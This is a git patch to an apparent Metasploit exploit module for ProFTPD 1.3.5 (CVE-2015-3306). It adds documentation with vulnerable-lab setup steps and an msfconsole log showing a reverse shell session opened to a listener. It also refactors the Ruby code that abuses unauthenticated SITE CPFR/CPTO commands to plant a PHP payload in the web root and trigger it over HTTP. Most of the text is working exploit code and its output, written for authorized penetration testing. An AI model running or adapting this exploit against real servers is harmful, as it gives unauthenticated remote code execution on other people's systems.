From 69daea95d66a0660d182c06f88a3fd8a568e521f Mon Sep 17 00:00:00 2001 From: bcoles Date: Thu, 23 Mar 2023 18:13:20 +1100 Subject: [PATCH] exploit/unix/ftp/proftpd_modcopy_exec: Add docs and resolve RuboCop violations --- .../exploit/unix/ftp/proftpd_modcopy_exec.md | 95 +++++++++++++ .../exploits/unix/ftp/proftpd_modcopy_exec.rb | 133 +++++++++++------- 2 files changed, 175 insertions(+), 53 deletions(-) create mode 100644 documentation/modules/exploit/unix/ftp/proftpd_modcopy_exec.md diff --git a/documentation/modules/exploit/unix/ftp/proftpd_modcopy_exec.md b/documentation/modules/exploit/unix/ftp/proftpd_modcopy_exec.md new file mode 100644 index 0000000000..fdb3e735ce --- /dev/null +++ b/documentation/modules/exploit/unix/ftp/proftpd_modcopy_exec.md @@ -0,0 +1,95 @@ +## Vulnerable Application + +This module exploits the SITE CPFR/CPTO mod_copy commands in ProFTPD version 1.3.5. +Any unauthenticated client can leverage these commands to copy files from any +part of the filesystem to a chosen destination. The copy commands are executed with +the rights of the ProFTPD service, which by default runs under the privileges of the +'nobody' user. By using /proc/self/cmdline to copy a PHP payload to the website +directory, PHP remote code execution is made possible. + + +## Installation Steps + +Download and build: + +```sh +sudo apt install gcc make +wget ftp://ftp.proftpd.org/distrib/source/proftpd-1.3.5.tar.gz +tar zxvf proftpd-1.3.5.tar.gz +cd proftpd-1.3.5 +./configure --with-modules=mod_copy +make +``` + +Run ProFTPD using the sample default configuration file (in foreground with `-n` flag for testing): + +``` +sudo ./proftpd -n -c "`pwd`/sample-configurations/basic.conf" +``` + +Set up a web server with a world-writable directory: + +``` +sudo apt install php apache2 +sudo mkdir /home/var/www/html/test +sudo chmod 777 /var/www/html/test +``` + +## Verification Steps + +1. Install the application +1. Start msfconsole +1. Do: `use exploit/unix/ftp/proftpd_modcopy_exec` +1. Do: `set rhosts ` +1. Do: `set rport_ftp ` +1. Do: `set tmppath ` +1. Do: `set sitepath ` +1. Do: `run` +1. You should get a new session. + +## Options + +### RPORT_FTP + +FTP port (default: `21`) + +### TMPPATH + +Absolute writable path (default: `/tmp`) + +### SITEPATH + +Absolute writable website path (default: `/var/www`) + + +## Scenarios + +### ProFTPD 1.3.5 on Ubuntu 22.04 + +``` +msf6 > use exploit/unix/ftp/proftpd_modcopy_exec +[*] No payload configured, defaulting to cmd/unix/reverse_netcat +msf6 exploit(unix/ftp/proftpd_modcopy_exec) > set rhosts 192.168.200.158 +rhosts => 192.168.200.158 +msf6 exploit(unix/ftp/proftpd_modcopy_exec) > check +[*] 192.168.200.158:80 - The target appears to be vulnerable. 192.168.200.158:21 - Unauthenticated SITE CPFR command was successful +msf6 exploit(unix/ftp/proftpd_modcopy_exec) > set sitepath /var/www/html/test +sitepath => /var/www/html/test +msf6 exploit(unix/ftp/proftpd_modcopy_exec) > set targeturi /test +targeturi => /test +msf6 exploit(unix/ftp/proftpd_modcopy_exec) > set payload cmd/unix/reverse_perl +payload => cmd/unix/reverse_perl +msf6 exploit(unix/ftp/proftpd_modcopy_exec) > run + +[*] Started reverse TCP handler on 192.168.200.130:4444 +[*] 192.168.200.158:80 - 192.168.200.158:21 - Connected to FTP server +[*] 192.168.200.158:80 - 192.168.200.158:21 - Sending copy commands to FTP server +[*] 192.168.200.158:80 - Executing PHP payload /test/EbzQzU.php +[+] 192.168.200.158:80 - Deleted /var/www/html/test/EbzQzU.php +[*] Command shell session 1 opened (192.168.200.130:4444 -> 192.168.200.158:46352) at 2023-03-19 00:22:49 -0400 + +id +uid=33(www-data) gid=33(www-data) groups=33(www-data) +pwd +/var/www/html/test +``` diff --git a/modules/exploits/unix/ftp/proftpd_modcopy_exec.rb b/modules/exploits/unix/ftp/proftpd_modcopy_exec.rb index a85ec29db1..493ea13f12 100644 --- a/modules/exploits/unix/ftp/proftpd_modcopy_exec.rb +++ b/modules/exploits/unix/ftp/proftpd_modcopy_exec.rb @@ -8,96 +8,121 @@ class MetasploitModule < Msf::Exploit::Remote include Msf::Exploit::Remote::Tcp include Msf::Exploit::Remote::HttpClient + include Msf::Exploit::FileDropper def initialize(info = {}) - super(update_info(info, - 'Name' => 'ProFTPD 1.3.5 Mod_Copy Command Execution', - 'Description' => %q{ - This module exploits the SITE CPFR/CPTO commands in ProFTPD version 1.3.5. + super( + update_info( + info, + 'Name' => 'ProFTPD 1.3.5 Mod_Copy Command Execution', + 'Description' => %q{ + This module exploits the SITE CPFR/CPTO mod_copy commands in ProFTPD version 1.3.5. Any unauthenticated client can leverage these commands to copy files from any part of the filesystem to a chosen destination. The copy commands are executed with the rights of the ProFTPD service, which by default runs under the privileges of the 'nobody' user. By using /proc/self/cmdline to copy a PHP payload to the website directory, PHP remote code execution is made possible. - }, - 'Author' => - [ + }, + 'Author' => [ 'Vadim Melihow', # Original discovery, Proof of Concept 'xistence ' # Metasploit module ], - 'License' => MSF_LICENSE, - 'References' => - [ + 'License' => MSF_LICENSE, + 'References' => [ [ 'CVE', '2015-3306' ], - [ 'EDB', '36742' ] + [ 'EDB', '36742' ], + [ 'URL', 'http://bugs.proftpd.org/show_bug.cgi?id=4169' ] ], - 'Privileged' => false, - 'Platform' => [ 'unix' ], - 'Arch' => ARCH_CMD, - 'Payload' => - { + 'Privileged' => false, + 'Platform' => [ 'unix' ], + 'Arch' => ARCH_CMD, + 'Payload' => { 'BadChars' => '', - 'Compat' => - { - 'PayloadType' => 'cmd', - 'RequiredCmd' => 'generic gawk python perl' - } + 'Compat' => { + 'PayloadType' => 'cmd', + 'RequiredCmd' => 'generic gawk python perl netcat' + } }, - 'Targets' => - [ - [ 'ProFTPD 1.3.5', { } ] + 'Targets' => [ + [ 'ProFTPD 1.3.5', {} ] ], - 'DisclosureDate' => '2015-04-22', - 'DefaultTarget' => 0)) + 'DisclosureDate' => '2015-04-22', + 'DefaultTarget' => 0, + 'Notes' => { + 'Stability' => [CRASH_SAFE], + 'Reliability' => [REPEATABLE_SESSION], + 'SideEffects' => [ARTIFACTS_ON_DISK, IOC_IN_LOGS] + } + ) + ) - register_options( - [ - OptPort.new('RPORT', [true, 'HTTP port', 80]), - OptPort.new('RPORT_FTP', [true, 'FTP port', 21]), - OptString.new('TARGETURI', [true, 'Base path to the website', '/']), - OptString.new('TMPPATH', [true, 'Absolute writable path', '/tmp']), - OptString.new('SITEPATH', [true, 'Absolute writable website path', '/var/www']) - ]) + register_options([ + OptPort.new('RPORT', [true, 'HTTP port', 80]), + OptPort.new('RPORT_FTP', [true, 'FTP port', 21]), + OptString.new('TARGETURI', [true, 'Base path to the website', '/']), + OptString.new('TMPPATH', [true, 'Absolute writable path', '/tmp']), + OptString.new('SITEPATH', [true, 'Absolute writable website path', '/var/www']) + ]) + end + + def ftp_port + datastore['RPORT_FTP'] end def check - ftp_port = datastore['RPORT_FTP'] sock = Rex::Socket.create_tcp('PeerHost' => rhost, 'PeerPort' => ftp_port) if sock.nil? - fail_with(Failure::Unreachable, "#{rhost}:#{ftp_port} - Failed to connect to FTP server") - else - print_status("#{rhost}:#{ftp_port} - Connected to FTP server") + return CheckCode::Unknown("#{rhost}:#{ftp_port} - Failed to connect to FTP server") end - res = sock.get_once(-1, 10) + vprint_status("#{rhost}:#{ftp_port} - Connected to FTP server") + + # Set 30 second timeout to allow remote server time to perform reverse DNS lookup + res = sock.get_once(-1, 30) + unless res && res.include?('220') - fail_with(Failure::Unknown, "#{rhost}:#{ftp_port} - Failure retrieving ProFTPD 220 OK banner") + return CheckCode::Safe("#{rhost}:#{ftp_port} - Failure retrieving ProFTPD 220 OK banner") end sock.puts("SITE CPFR /etc/passwd\r\n") res = sock.get_once(-1, 10) - if res && res.include?('350') - Exploit::CheckCode::Vulnerable - else - Exploit::CheckCode::Safe + + if res.nil? + return CheckCode::Unknown("#{rhost}:#{ftp_port} - Failed to connect to FTP server") end + + if res.include?("500 'SITE CPFR' not understood") + return CheckCode::Safe("#{rhost}:#{ftp_port} - SITE CPFR command not supported") + end + + if res.include?('530') + return CheckCode::Safe("#{rhost}:#{ftp_port} - SITE CPFR command requires authentication.") + end + + if res.include?('350') + return CheckCode::Appears("#{rhost}:#{ftp_port} - Unauthenticated SITE CPFR command was successful") + end + + CheckCode::Safe + ensure + sock.close unless sock.nil? end def exploit - ftp_port = datastore['RPORT_FTP'] - get_arg = rand_text_alphanumeric(5+rand(3)) - payload_name = rand_text_alphanumeric(5+rand(3)) + '.php' + get_arg = rand_text_alphanumeric(5..7) + payload_name = rand_text_alphanumeric(5..7) + '.php' sock = Rex::Socket.create_tcp('PeerHost' => rhost, 'PeerPort' => ftp_port) if sock.nil? fail_with(Failure::Unreachable, "#{rhost}:#{ftp_port} - Failed to connect to FTP server") - else - print_status("#{rhost}:#{ftp_port} - Connected to FTP server") end - res = sock.get_once(-1, 10) + print_status("#{rhost}:#{ftp_port} - Connected to FTP server") + + # Set 30 second timeout to allow remote server time to perform reverse DNS lookup + res = sock.get_once(-1, 30) unless res && res.include?('220') fail_with(Failure::Unknown, "#{rhost}:#{ftp_port} - Failure retrieving ProFTPD 220 OK banner") end @@ -130,10 +155,12 @@ class MetasploitModule < Msf::Exploit::Remote sock.close - print_status("Executing PHP payload #{target_uri.path}#{payload_name}") + register_file_for_cleanup("#{datastore['SITEPATH']}/#{payload_name}") + + uri = normalize_uri(target_uri.path, payload_name) + print_status("Executing PHP payload #{uri}") res = send_request_cgi!( - 'uri' => normalize_uri(target_uri.path, payload_name), - 'method' => 'GET', + 'uri' => uri, 'vars_get' => { get_arg => "nohup #{payload.encoded} &" } )